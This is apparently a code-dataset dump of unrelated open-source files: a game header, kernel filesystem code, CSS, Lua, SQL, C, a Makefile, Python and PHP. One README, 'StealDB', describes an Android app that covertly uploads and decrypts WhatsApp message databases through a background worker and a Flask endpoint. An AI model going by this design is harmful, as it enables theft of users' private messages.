*/ rank_t ranks[MAX_RANKS]; /* The number of entries in the list above. */ int numRanks; /* cache for techdef technologies */ technology_t *teamDefTechs[MAX_TEAMDEFS]; /* cache for item technologies */ technology_t *objDefTechs[MAX_OBJDEFS]; campaign_t *curCampaign; /**< Current running campaign */ stats_t campaignStats; missionResults_t missionResults; campaign_t campaigns[MAX_CAMPAIGNS]; int numCampaigns; aircraft_t aircraftTemplates[MAX_AIRCRAFT]; /**< Available aircraft types/templates/samples. */ int numAircraftTemplates; /**< Number of aircraft templates. */ } ccs_t; /** * @brief Human readable time information in the game. * @note Use this on runtime - please avoid for structs that get saved. * @sa date_t For storage & network transmitting (engine only). * @sa CL_DateConvertLong */ typedef struct dateLong_s { short year; /**< Year in yyyy notation. */ byte month; /**< Number of month (starting with 1). */ byte day; /**< Number of day (starting with 1). */ byte hour; /**< Hour of the day. @todo check what number-range this gives) */ byte min; /**< Minute of the hour. */ byte sec; /**< Second of the minute. */ } dateLong_t; typedef struct { int x, y; } screenPoint_t; extern ccs_t ccs; extern const int DETECTION_INTERVAL; extern cvar_t *cp_campaign; extern cvar_t *cp_missiontest; extern cvar_t *cp_start_employees; #define MAX_CREDITS 10000000 /* Campaign functions */ void CP_InitStartup(void); campaign_t* CL_GetCampaign(const char *name); void CP_CampaignInit(campaign_t *campaign, qboolean load); void CL_ReadSinglePlayerData(void); void CL_ReadCampaignData(const campaign_t *campaign); qboolean CP_IsRunning(void); void CL_CampaignRun(campaign_t *campaign); void CP_CheckLostCondition(const campaign_t *campaign); void CP_EndCampaign(qboolean won); void CP_Shutdown(void); void CL_ResetSinglePlayerData(void); /* Date functions */ void CL_DateConvertLong(const date_t * date, dateLong_t * dateLong); const char* CL_SecondConvert(int second); /* Mission related functions */ int CP_CountMissionOnGeoscape(void); void CP_UpdateMissionVisibleOnGeoscape(void); int CP_TerrorMissionAvailableUFOs(const mission_t const *mission, ufoType_t *ufoTypes); qboolean AIR_SendAircraftToMission(aircraft_t *aircraft, mission_t *mission); void AIR_AircraftsNotifyMissionRemoved(const mission_t *mission); void CP_UFOProceedMission(const campaign_t* campaign, aircraft_t *ufocraft); void CP_InitMissionResults(qboolean won, const missionResults_t *results); mission_t *CP_CreateNewMission(interestCategory_t category, qboolean beginNow); qboolean CP_ChooseMap(mission_t *mission, const vec2_t pos); void CP_StartSelectedMission(void); void CL_HandleNationData(float minHappiness, qboolean won, mission_t * mis, const nation_t *nation, const missionResults_t *results); void CL_UpdateCharacterStats(const base_t *base, const aircraft_t *aircraft); /* Credits management */ qboolean CP_CheckCredits (int costs); void CL_UpdateCredits(int credits); /* Other functions */ void CP_ParseCharacterData(struct dbuffer *msg); qboolean CP_CheckNextStageDestination(const campaign_t* campaign, aircraft_t *ufo); aircraft_t* AIR_NewAircraft(base_t * base, const aircraft_t *aircraftTemplate); void CP_GetRandomPosOnGeoscape(vec2_t pos, qboolean noWater); qboolean CP_GetRandomPosOnGeoscapeWithParameters(vec2_t pos, const linkedList_t *terrainTypes, const linkedList_t *cultureTypes, const linkedList_t *populationTypes, const linkedList_t *nations); void CL_GameAutoGo(mission_t *mission, aircraft_t *aircraft, const campaign_t *campaign, const battleParam_t *battleParameters, missionResults_t *results); qboolean CP_OnGeoscape(void); #endif /* CP_CAMPAIGN_H */
chrisglass/ufoai
src/client/cgame/campaign/cp_campaign.h
C
gpl-2.0
26,068
StealDB ======= Get any database file - an app to demonstrate how easy it is maliciously upload and decrypt an android db store fetch these extensions in /WhatsApp/Databases/*.db the apk has one hello world activity and the uploading is done by a background worker. The api endpoint is setup in flask ## Whatsapp DB - msgstore.db.crypt - msgstore.db
ianjuma/StealDB
README.md
Markdown
gpl-2.0
354
/* * symlink.c * * Symlink methods. * * Author: Steve Longerbeam <[email protected], or [email protected]> * * 2003 (c) MontaVista Software, Inc. * Copyright 2003 Sony Corporation * Copyright 2003 Matsushita Electric Industrial Co., Ltd. * * This software is being distributed under the terms of the GNU General Public * License version 2. Some or all of the technology encompassed by this * software may be subject to one or more patents pending as of the date of * this notice. No additional patent license will be required for GPL * implementations of the technology. If you want to create a non-GPL * implementation of the technology encompassed by this software, please * contact [email protected] for details including licensing terms and fees. * * This file is licensed under the terms of the GNU General Public License * version 2. This program is licensed "as is" without any warranty of any * kind, whether express or implied. */ #include <linux/fs.h> #include <linux/pram_fs.h> int pram_block_symlink(struct inode *inode, const char *symname, int len) { struct super_block * sb = inode->i_sb; pram_off_t block; char* blockp; unsigned long flags; int err; err = pram_alloc_blocks (inode, 0, 1); if (err) return err; block = pram_find_data_block(inode, 0); blockp = pram_get_block(sb, block); pram_lock_block(sb, blockp); memcpy(blockp, symname, len); blockp[len] = '\0'; pram_unlock_block(sb, blockp); return 0; } static int pram_readlink(struct dentry *dentry, char *buffer, int buflen) { struct inode * inode = dentry->d_inode; struct super_block * sb = inode->i_sb; pram_off_t block; char* blockp; block = pram_find_data_block(inode, 0); blockp = pram_get_block(sb, block); return vfs_readlink(dentry, buffer, buflen, blockp); } static int pram_follow_link(struct dentry *dentry, struct nameidata *nd) { struct inode * inode = dentry->d_inode; struct super_block * sb = inode->i_sb; pram_off_t block; char* blockp; block = pram_find_data_block(inode, 0); blockp = pram_get_block(sb, block); return vfs_follow_link(nd, blockp); } struct inode_operations pram_symlink_inode_operations = { readlink: pram_readlink, follow_link: pram_follow_link, };
robacklin/celinux
fs/pramfs/symlink.c
C
gpl-2.0
2,227
.pane-bundle-videos { background: white; } .pane-bundle-videos .field-collection-item-field-video { border-bottom: 1px lightgray solid; } .pane-bundle-videos .field-name-field-link-single { border-top: 10px #231f20 solid; } .pane-bundle-videos { -moz-box-shadow: rgba(0, 0, 0, 0.1) 0 1px 0, rgba(0, 0, 0, 0.1) 0 0 0 1px; -webkit-box-shadow: rgba(0, 0, 0, 0.1) 0 1px 0, rgba(0, 0, 0, 0.1) 0 0 0 1px; box-shadow: rgba(0, 0, 0, 0.1) 0 1px 0, rgba(0, 0, 0, 0.1) 0 0 0 1px; margin: 1px; } .pane-bundle-videos { padding: 0 26px; } .pane-bundle-videos .field-name-field-link-single { color: #231f20; font-family: "NewsGothicBT-Demi", "Avant Garde", "Futura", "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 18px; font-weight: normal; line-height: 1.3; padding-top: 12px; } .pane-bundle-videos .field-name-field-link-single a { color: #231f20; } .pane-bundle-videos .field-collection-item-field-video { overflow: hidden; *zoom: 1; padding: 22px 26px; margin: 0 -26px; } .pane-bundle-videos .field-collection-item-field-video:last-of-type { border-bottom: 0; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-title { display: inline; font-size: 22px; font-weight: bold; line-height: 1.3; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-title:hover { text-decoration: underline; } .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-title { max-width: 65%; } @media (min-width: 35.5625em) and (max-width: 44.375em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-title { max-width: 100%; } } @media (max-width: 22.8125em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-title { max-width: 100%; } } @media (min-width: 20.0625em) and (max-width: 35.5em) { .narrow-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-title { max-width: 65%; } } .pane-bundle-videos .field-collection-item-field-video .video-channeltitle, .pane-bundle-videos .field-collection-item-field-video .video-viewcount { font-size: 14px; line-height: 1.2; } .wide-view .pane-bundle-videos .field-collection-item-field-video .video-channeltitle, .wide-view .pane-bundle-videos .field-collection-item-field-video .video-viewcount { max-width: 65%; } @media (min-width: 35.5625em) and (max-width: 44.375em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .video-channeltitle, .wide-view .pane-bundle-videos .field-collection-item-field-video .video-viewcount { max-width: 100%; } } @media (max-width: 22.8125em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .video-channeltitle, .wide-view .pane-bundle-videos .field-collection-item-field-video .video-viewcount { max-width: 100%; } } @media (min-width: 20.0625em) and (max-width: 35.5em) { .narrow-view .pane-bundle-videos .field-collection-item-field-video .video-channeltitle, .narrow-view .pane-bundle-videos .field-collection-item-field-video .video-viewcount { max-width: 65%; } } .pane-bundle-videos .field-collection-item-field-video .video-channeltitle { margin-top: 8px; } .pane-bundle-videos .field-collection-item-field-video .video-channeltitle span { margin-right: 5px; } .pane-bundle-videos .field-collection-item-field-video .video-viewcount { margin-bottom: 8px; } .pane-bundle-videos .field-collection-item-field-video .video-viewcount span { margin-left: 5px; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-body { font-size: 16px; line-height: 1.3; } .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-body { max-width: 65%; } @media (min-width: 35.5625em) and (max-width: 44.375em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-body { max-width: 100%; } } @media (max-width: 22.8125em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-body { max-width: 100%; } } @media (min-width: 20.0625em) and (max-width: 35.5em) { .narrow-view .pane-bundle-videos .field-collection-item-field-video .field-name-field-body { max-width: 65%; } } .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { position: relative; } .wide-view .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { float: right; margin-left: 10px; max-width: 125px; } @media (min-width: 35.5625em) and (max-width: 44.375em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { float: none; margin-bottom: 12px; margin-left: 0; max-width: 216px; } } @media (max-width: 22.8125em) { .wide-view .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { float: none; margin-bottom: 12px; margin-left: 0; max-width: 216px; } } .narrow-view .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { margin-bottom: 12px; max-width: 216px; } @media (min-width: 20.0625em) and (max-width: 35.5em) { .narrow-view .pane-bundle-videos .field-collection-item-field-video .group-wrapper-video { float: right; margin-left: 10px; max-width: 125px; } } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .gsb-image-video-popup a.fancybox:before { content: "\f10c"; display: inline; speak: none; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; font-smoothing: antialiased; text-transform: none; line-height: 1; font-style: normal; font-variant: normal; font-weight: normal; font-family: 'icons'; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .gsb-image-video-popup a.fancybox:before { font-size: 51px; margin-top: -30px; margin-left: -22px; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .gsb-image-video-popup a.fancybox:after { content: "\f11a"; display: inline; speak: none; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; font-smoothing: antialiased; text-transform: none; line-height: 1; font-style: normal; font-variant: normal; font-weight: normal; font-family: 'icons'; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .gsb-image-video-popup a.fancybox:after { font-size: 16px; margin-top: -12px; margin-left: -4px; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .field-type-file .gsb-responsive-preview .file-video a:before { content: "\f10c"; display: inline; speak: none; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; font-smoothing: antialiased; text-transform: none; line-height: 1; font-style: normal; font-variant: normal; font-weight: normal; font-family: 'icons'; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .field-type-file .gsb-responsive-preview .file-video a:before { font-size: 51px; margin-top: -30px; margin-left: -22px; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .field-type-file .gsb-responsive-preview .file-video a:after { content: "\f11a"; display: inline; speak: none; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; font-smoothing: antialiased; text-transform: none; line-height: 1; font-style: normal; font-variant: normal; font-weight: normal; font-family: 'icons'; } .pane-bundle-videos .field-collection-item-field-video .field-name-field-video-url .field-type-file .gsb-responsive-preview .file-video a:after { font-size: 16px; margin-top: -12px; margin-left: -4px; } .pane-bundle-videos .field-collection-item-field-video .video-duration { background: #231f20; color: white; display: inline-block; float: right; font-size: 11px; font-weight: bold; line-height: 1.2; padding: 4px; position: absolute; right: 0; bottom: 2px; }
gsb-public/gsb_theme
css/conditionals/fpps/videos.css
CSS
gpl-2.0
8,318
--犬タウルス function c91754175.initial_effect(c) --atk up local e1=Effect.CreateEffect(c) e1:SetDescription(aux.Stringid(91754175,0)) e1:SetCategory(CATEGORY_TOGRAVE+CATEGORY_ATKCHANGE) e1:SetType(EFFECT_TYPE_QUICK_O) e1:SetCode(EVENT_PRE_DAMAGE_CALCULATE) e1:SetRange(LOCATION_MZONE) e1:SetCountLimit(1) e1:SetCondition(c91754175.condition) e1:SetTarget(c91754175.target) e1:SetOperation(c91754175.operation) c:RegisterEffect(e1) end function c91754175.condition(e,tp,eg,ep,ev,re,r,rp) return Duel.GetAttackTarget()~=nil end function c91754175.tgfilter(c) return c:IsRace(RACE_BEAST+RACE_BEASTWARRIOR+RACE_WINDBEAST) and c:IsAbleToGrave() end function c91754175.target(e,tp,eg,ep,ev,re,r,rp,chk) if chk==0 then return Duel.IsExistingMatchingCard(c91754175.tgfilter,tp,LOCATION_HAND+LOCATION_DECK,0,1,nil) end Duel.SetOperationInfo(0,CATEGORY_TOGRAVE,nil,1,tp,LOCATION_HAND+LOCATION_DECK) end function c91754175.operation(e,tp,eg,ep,ev,re,r,rp) Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_TOGRAVE) local g=Duel.SelectMatchingCard(tp,c91754175.tgfilter,tp,LOCATION_HAND+LOCATION_DECK,0,1,1,nil) local c=e:GetHandler() local tc=g:GetFirst() if tc and Duel.SendtoGrave(tc,REASON_EFFECT)~=0 and tc:IsLocation(LOCATION_GRAVE) and c:IsRelateToBattle() and c:IsFaceup() then local lv=tc:GetLevel() local e1=Effect.CreateEffect(c) e1:SetType(EFFECT_TYPE_SINGLE) e1:SetCode(EFFECT_UPDATE_ATTACK) e1:SetValue(lv*100) e1:SetReset(RESET_EVENT+0x1fe0000+RESET_PHASE+PHASE_BATTLE) c:RegisterEffect(e1) end end
anshkumar/yugioh-glaze
assets/script/c91754175.lua
Lua
gpl-2.0
1,532
CREATE TABLE IF NOT EXISTS `#__formmaker_sessions` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `form_id` int(20) NOT NULL, `group_id` int(20) NOT NULL, `ip` varchar(20) NOT NULL, `ord_date` datetime NOT NULL, `ord_last_modified` datetime NOT NULL, `status` varchar(50) NOT NULL, `full_name` varchar(100) NOT NULL, `email` varchar(50) NOT NULL, `phone` varchar(50) NOT NULL, `mobile_phone` varchar(255) NOT NULL, `fax` varchar(255) NOT NULL, `address` varchar(300) NOT NULL, `paypal_info` text NOT NULL, `without_paypal_info` text NOT NULL, `ipn` varchar(20) NOT NULL, `checkout_method` varchar(20) NOT NULL, `tax` float NOT NULL, `shipping` float NOT NULL, `shipping_type` varchar(200) NOT NULL, `read` int(11) NOT NULL, `total` float NOT NULL, `currency` varchar(24) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `id` (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
josepaiva94/CodingBooth
administrator/components/com_formmaker/update.mysql.sql
SQL
gpl-2.0
964
/* * ux_text.c - Unix interface, text functions * * This file is part of Frotz. * * Frotz is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Frotz is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ #define __UNIX_PORT_FILE #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef USE_NCURSES_H #include <ncurses.h> #else #include <curses.h> #endif #include "ux_frotz.h" /* When color_enabled is FALSE, we still minimally keep track of colors by * setting current_color to A_REVERSE if the game reads the default * foreground and background colors and swaps them. If we don't do this, * Strange Results can happen when playing certain V6 games when * color_enabled is FALSE. */ bool color_enabled = FALSE; /* int current_color = 0; */ static char latin1_to_ascii[] = " ! c L >o<Y | S '' C a << not- R _ " "^0 +/-^2 ^3 ' my P . , ^1 o >> 1/41/23/4? " "A A A A Ae A AE C E E E E I I I I " "Th N O O O O Oe * O U U U Ue Y Th ss " "a a a a ae a ae c e e e e i i i i " "th n o o o o oe : o u u u ue y th y "; /* * os_font_data * * Return true if the given font is available. The font can be * * TEXT_FONT * PICTURE_FONT * GRAPHICS_FONT * FIXED_WIDTH_FONT * * The font size should be stored in "height" and "width". If * the given font is unavailable then these values must _not_ * be changed. * */ int os_font_data (int font, int *height, int *width) { if (font == TEXT_FONT) { *height = 1; *width = 1; return 1; /* Truth in advertising */ } return 0; }/* os_font_data */ #ifdef COLOR_SUPPORT /* * unix_convert * * Converts frotz's (and Infocom's) color values to ncurses color values. * */ static int unix_convert(int color) { switch(color) { case BLACK_COLOUR: return COLOR_BLACK; case RED_COLOUR: return COLOR_RED; case GREEN_COLOUR: return COLOR_GREEN; case YELLOW_COLOUR: return COLOR_YELLOW; case BLUE_COLOUR: return COLOR_BLUE; case MAGENTA_COLOUR: return COLOR_MAGENTA; case CYAN_COLOUR: return COLOR_CYAN; case WHITE_COLOUR: return COLOR_WHITE; } return 0; } #endif /* * os_set_colour * * Set the foreground and background colours which can be: * * DEFAULT_COLOUR * BLACK_COLOUR * RED_COLOUR * GREEN_COLOUR * YELLOW_COLOUR * BLUE_COLOUR * MAGENTA_COLOUR * CYAN_COLOUR * WHITE_COLOUR * * MS-DOS 320 columns MCGA mode only: * * GREY_COLOUR * * Amiga only: * * LIGHTGREY_COLOUR * MEDIUMGREY_COLOUR * DARKGREY_COLOUR * * There may be more colours in the range from 16 to 255; see the * remarks on os_peek_colour. * */ void os_set_colour (int new_foreground, int new_background) { if (new_foreground == 1) new_foreground = z_header.h_default_foreground; if (new_background == 1) new_background = z_header.h_default_background; if (u_setup.color_enabled) { #ifdef COLOR_SUPPORT static int colorspace[10][10]; static int n_colors = 0; if (!colorspace[new_foreground][new_background]) { init_pair(++n_colors, unix_convert(new_foreground), unix_convert(new_background)); colorspace[new_foreground][new_background] = n_colors; } u_setup.current_color = COLOR_PAIR(colorspace[new_foreground][new_background]); #endif } else u_setup.current_color = (((new_foreground == z_header.h_default_background) && (new_background == z_header.h_default_foreground)) ? A_REVERSE : 0); os_set_text_style(u_setup.current_text_style); }/* os_set_colour */ /* * os_set_text_style * * Set the current text style. Following flags can be set: * * REVERSE_STYLE * BOLDFACE_STYLE * EMPHASIS_STYLE (aka underline aka italics) * FIXED_WIDTH_STYLE * */ void os_set_text_style (int new_style) { int temp = 0; u_setup.current_text_style = new_style; if (new_style & REVERSE_STYLE) temp |= A_REVERSE; if (new_style & BOLDFACE_STYLE) temp |= A_BOLD; if (new_style & EMPHASIS_STYLE) temp |= A_UNDERLINE; attrset(temp ^ u_setup.current_color); }/* os_set_text_style */ /* * os_set_font * * Set the font for text output. The interpreter takes care not to * choose fonts which aren't supported by the interface. * */ void os_set_font (int new_font) { /* Not implemented */ }/* os_set_font */ /* * os_display_char * * Display a character of the current font using the current colours and * text style. The cursor moves to the next position. Printable codes are * all ASCII values from 32 to 126, ISO Latin-1 characters from 160 to * 255, ZC_GAP (gap between two sentences) and ZC_INDENT (paragraph * indentation). The screen should not be scrolled after printing to the * bottom right corner. * */ void os_display_char (zchar c) { if (c >= ZC_LATIN1_MIN) { if (u_setup.plain_ascii) { char *ptr = latin1_to_ascii + 3 * (c - ZC_LATIN1_MIN); char c1 = *ptr++; char c2 = *ptr++; char c3 = *ptr++; addch(c1); if (c2 != ' ') addch(c2); if (c3 != ' ') addch(c3); } else addch(c); return; } if (c >= ZC_ASCII_MIN && c <= ZC_ASCII_MAX) { addch(c); return; } if (c == ZC_INDENT) { addch(' '); addch(' '); addch(' '); return; } if (c == ZC_GAP) { addch(' '); addch(' '); return; } }/* os_display_char */ /* * os_display_string * * Pass a string of characters to os_display_char. * */ void os_display_string (const zchar *s) { zchar c; while ((c = (unsigned char) *s++) != 0) /* Is this superfluous given it's also done in screen_word()? */ if (c == ZC_NEW_FONT || c == ZC_NEW_STYLE) { int arg = (unsigned char) *s++; if (c == ZC_NEW_FONT) os_set_font (arg); if (c == ZC_NEW_STYLE) os_set_text_style (arg); } else os_display_char (c); }/* os_display_string */ /* * os_char_width * * Return the width of the character in screen units. * */ int os_char_width (zchar c) { if (c >= ZC_LATIN1_MIN && u_setup.plain_ascii) { int width = 0; const char *ptr = latin1_to_ascii + 3 * (c - ZC_LATIN1_MIN); char c1 = *ptr++; char c2 = *ptr++; char c3 = *ptr++; /* Why, oh, why did you declare variables that way??? */ if (c1 == c1) /* let's avoid confusing the compiler (and me) */ width++; if (c2 != ' ') width++; if (c3 != ' ') width++; return width; } return 1; }/* os_char_width*/ /* * os_string_width * * Calculate the length of a word in screen units. Apart from letters, * the word may contain special codes: * * NEW_STYLE - next character is a new text style * NEW_FONT - next character is a new font * */ int os_string_width (const zchar *s) { int width = 0; zchar c; while ((c = *s++) != 0) if (c == ZC_NEW_STYLE || c == ZC_NEW_FONT) { s++; /* No effect */ } else width += os_char_width(c); return width; }/* os_string_width */ /* * os_set_cursor * * Place the text cursor at the given coordinates. Top left is (1,1). * */ void os_set_cursor (int y, int x) { /* Curses thinks the top left is (0,0) */ move(--y, --x); }/* os_set_cursor */ /* * os_more_prompt * * Display a MORE prompt, wait for a keypress and remove the MORE * prompt from the screen. * */ void os_more_prompt (void) { int saved_style, saved_x, saved_y; /* Save some useful information */ saved_style = u_setup.current_text_style; getyx(stdscr, saved_y, saved_x); os_set_text_style(0); addstr("[MORE]"); os_read_key(0, TRUE); move(saved_y, saved_x); addstr(" "); move(saved_y, saved_x); os_set_text_style(saved_style); }/* os_more_prompt */
holzman/frotz
src/curses/ux_text.c
C
gpl-2.0
8,410
.ds-users-list .modal-body input:nth-child(2), .ds-permission-list .modal-body input:nth-child(2), .ds-group-list .modal-body input:nth-child(2) { margin-bottom: 1em; } .ds-users-list tbody tr, .ds-permission-list tbody tr, .ds-group-list tbody tr { cursor: pointer; } .ds-users-list #header-area, .ds-permission-list #header-area, .ds-group-list #header-area { padding: 0.1em 0 1em 0; } .ds-users-list #header-area h3, .ds-permission-list #header-area h3, .ds-group-list #header-area h3 { margin-top: 0.25em; float: left; } .ds-users-list #header-area a, .ds-permission-list #header-area a, .ds-group-list #header-area a { text-decoration: none; cursor: pointer; float: right; margin-top: 1em; } .ds-users-list #alert-area, .ds-permission-list #alert-area, .ds-group-list #alert-area { padding: 0; } .ds-logs-view table { white-space: nowrap; } .ds-logs-view > div:nth-child(1) { padding: 0.1em 0 1em 0; } .ds-logs-view > div:nth-child(1) div { margin-bottom: 0; } .ds-user-edit, .ds-permission-edit, .ds-group-edit { margin: 1em 0 7em 0; } .ds-user-edit .btn, .ds-permission-edit .btn, .ds-group-edit .btn { margin-bottom: 1em; } .ds-user-edit .btn-danger, .ds-permission-edit .btn-danger, .ds-group-edit .btn-danger { float: right; } .ds-user-edit > h4, .ds-permission-edit > h4, .ds-group-edit > h4 { margin: 2em 0 0 0 !important; } .ds-user-edit hr, .ds-permission-edit hr, .ds-group-edit hr { margin-top: 0.5em; } .ds-user-edit table tr td:nth-child(1), .ds-permission-edit table tr td:nth-child(1), .ds-group-edit table tr td:nth-child(1) { font-weight: bold; } .ds-user-edit #reset-password, .ds-permission-edit #reset-password, .ds-group-edit #reset-password { margin-top: 1em; margin-bottom: 1em; cursor: pointer; } .ds-user-add { padding-top: 1em; } .ds-user-add button { margin-bottom: 1em; } #password-collapse { cursor: pointer; } .permission-check { font-size: 1.2em; padding-bottom: 0.9em; } .permission-check div { padding-left: 0.6em; user-select: none; -moz-user-select: none; -webkit-user-select: none; } /*# sourceMappingURL=administrator.css.map */
simplusoft/ds4-community
src/modules/administrator/client/css/administrator.css
CSS
gpl-2.0
2,201
PYTHON = `which python2` all: @echo no build make rule yet, just '"make check"' test-end2end: @cd tests/ && PYTHON=${PYTHON} ./testsuite test-unit: PYTHONPATH=..:$${PYTHONPATH} ${PYTHON} -m pytest `[ ! -z ${COVERAGE} ] && echo "--cov distgen"` tests/unittests/ # Note that flake8 reports both W503 and W504 ATM :-/ so ignore W503 for now, # which is what should be considered the right setup. test-lint: flake8 distgen/ --ignore=W503 # Check that testsuite in packaged sources work fine, too. test-sdist-check: rm -rf dist $(PYTHON) setup.py sdist cd dist/ && tar xf *.tar.gz && cd distgen-*/ && $(MAKE) check PYTHON=$(PYTHON) # Check that tarball generated by git-archive also passes the testsuite test-git-archive-check: rm -rf archive && mkdir archive git archive --prefix distgen/ HEAD | tar -x -C archive cd archive/distgen && $(MAKE) check PYTHON=$(PYTHON) check: test-unit test-end2end
devexp-db/distgen
Makefile
Makefile
gpl-2.0
911
import sys,os #sys.path.append(os.path.join(os.path.dirname(__file__), '../../..')) #from ethosgame.ethos.level import Level from ..level import Level #from ethosgame.ethos.gameobject import GameObject from ..gameobject import GameObject #from ethosgame.ethos.drawnobject import DrawnObject from ..drawnobject import DrawnObject import pygame from pygame.locals import * from pygame import Color, image, font, sprite class Level0(Level): def __init__(self): super(Level0, self).__init__() self.activeSprites = sprite.RenderClear() self.drawnSprites = [] self.npc = GameObject(image.load('User.png'), 100,50) self.activeSprites.add(self.npc) self.block1 = GameObject(image.load('platform.png'), 100, 400) self.activeSprites.add(self.block1); self.mousex = 0 self.mousey = 0 #The highest height our npc #can climb. If a the dY with a #point is higher than this, the #npc will just fall to his death self.MAX_HILL_HEIGHT = 3 self.toDrawRectTopLeft = (0,0) self.toDrawRectBottomRight = (0,0) self.drawing = False self.pts = [] print "Level 0 initialized." def update(self, dT): #print "Running level0" #Character info for gobject in self.activeSprites: if gobject is not self.npc: if not gobject.rect.colliderect(self.npc.rect): #if self.npc.vy < 0.3 and (gobject.rect.y >= self.npc.rect.y + self.npc.rect.height): if self.npc.vy < 0.3: self.npc.vy += 0.1 else: self.npc.vy = 0 gobject.update(dT) collidingPoints = [] for drawnstuff in self.drawnSprites: for point in drawnstuff.pts: x = self.npc.rect.collidepoint(point) if x: collidingPoints.append(point) if(len(collidingPoints) > 0): self.npc.processPointCollision(collidingPoints) def processKeyDown(self,key): print "You hit the key " + str(key) + "!" if key == pygame.K_RIGHT: self.npc.vx = 0.1 def processMouseMotion(self,pos): #print "Your mouse is at " + str(pos[0]) + " " + str(pos[1]) self.mousex = pos[0] self.mousey = pos[1] if self.drawing and len(self.pts) < 100: self.pts.append( pos ) def processMouseButtonDown(self, pos): print "Ya clicked at " + str(pos[0]) + " " + str(pos[1]) + " ya goof!" self.drawing = True self.toDrawRectTopLeft = (pos[0],pos[1]) if len(self.pts) > 0: self.pts = [] def processMouseButtonUp(self, pos): print "Ya let go" if self.drawing is True: self.drawing = False self.drawnSprites.append ( DrawnObject(self.pts) ) self.toDrawRectBottomRight = (pos[0], pos[1])
Berulacks/ethosgame
ethos/levels/level0.py
Python
gpl-2.0
2,904
<?php /* Template Name: Nos fromages * * This is your custom page template. You can create as many of these as you need. * Simply name is "page-whatever.php" and in add the "Template Name" title at the * top, the same way it is here. * * When you create your page, you can just select the template and viola, you have * a custom page template to call your very own. Your mother would be so proud. * * For more info: http://codex.wordpress.org/Page_Templates */ ?> <?php get_header(); ?> <div id="content" class="montagneBackground"> <div class="container_12"> <section class="categories-f-r"> <?php $taxonomy = 'fromages_cat'; $tax_terms = get_terms( $taxonomy, array( 'hide_empty' => 0, 'orderby' => 'id', 'order' => DESC ) ); ?> <div class="text-wrapper"> <h1>Nos Fromages RichesMonts</h1> <h2>Variez les plaisirs ! <br> Découvrez toutes nos Raclettes,<br> Fondues et Tartiflettes !</h2> </div> <div class="categorie-bloc"> <img src="<?php echo get_template_directory_uri(); ?>/library/images/categorie-fromage-1.jpg" alt=""> <a href="<?php echo get_term_link($tax_terms[0]); ?>"><h3><?php echo $tax_terms[0]->name; ?></h3></a> </div> <div class="categorie-bloc"> <img src="<?php echo get_template_directory_uri(); ?>/library/images/categorie-fromage-2.jpg" alt=""> <a href="<?php echo get_term_link($tax_terms[1]); ?>"><h3><?php echo $tax_terms[1]->name; ?></h3></a> </div> <div class="categorie-bloc"> <img src="<?php echo get_template_directory_uri(); ?>/library/images/categorie-fromage-3.jpg" alt=""> <a href="<?php echo get_term_link($tax_terms[2]); ?>"><h3><?php echo $tax_terms[2]->name; ?></h3></a> </div> </section> <div class="clearfix"></div> <?php $the_query = new WP_Query( array('post_type' => 'partenaires', 'showposts' => 5) ); if ( $the_query->have_posts() ) { ?> <section class="partenaires container_12"> <div class="outer-center"> <div class="inner-center"> <h2>Nos partenaires :</h2> <?php while ( $the_query->have_posts() ) { ?> <?php $the_query->the_post(); ?> <?php $image = get_field('logo'); ?> <a href="<?php the_field('lien'); ?>"><img src="<?php echo $image['url'] ?>" alt="<?php the_title(); ?>"></a> <?php } ?> </div> </div> </section> <?php } wp_reset_postdata(); ?> <div class="clearfix"></div> </div> </div> <?php get_footer(); ?>
LSERRE/RichesMonts
wp-content/themes/richesmonts/page-nos-fromages.php
PHP
gpl-2.0
2,538
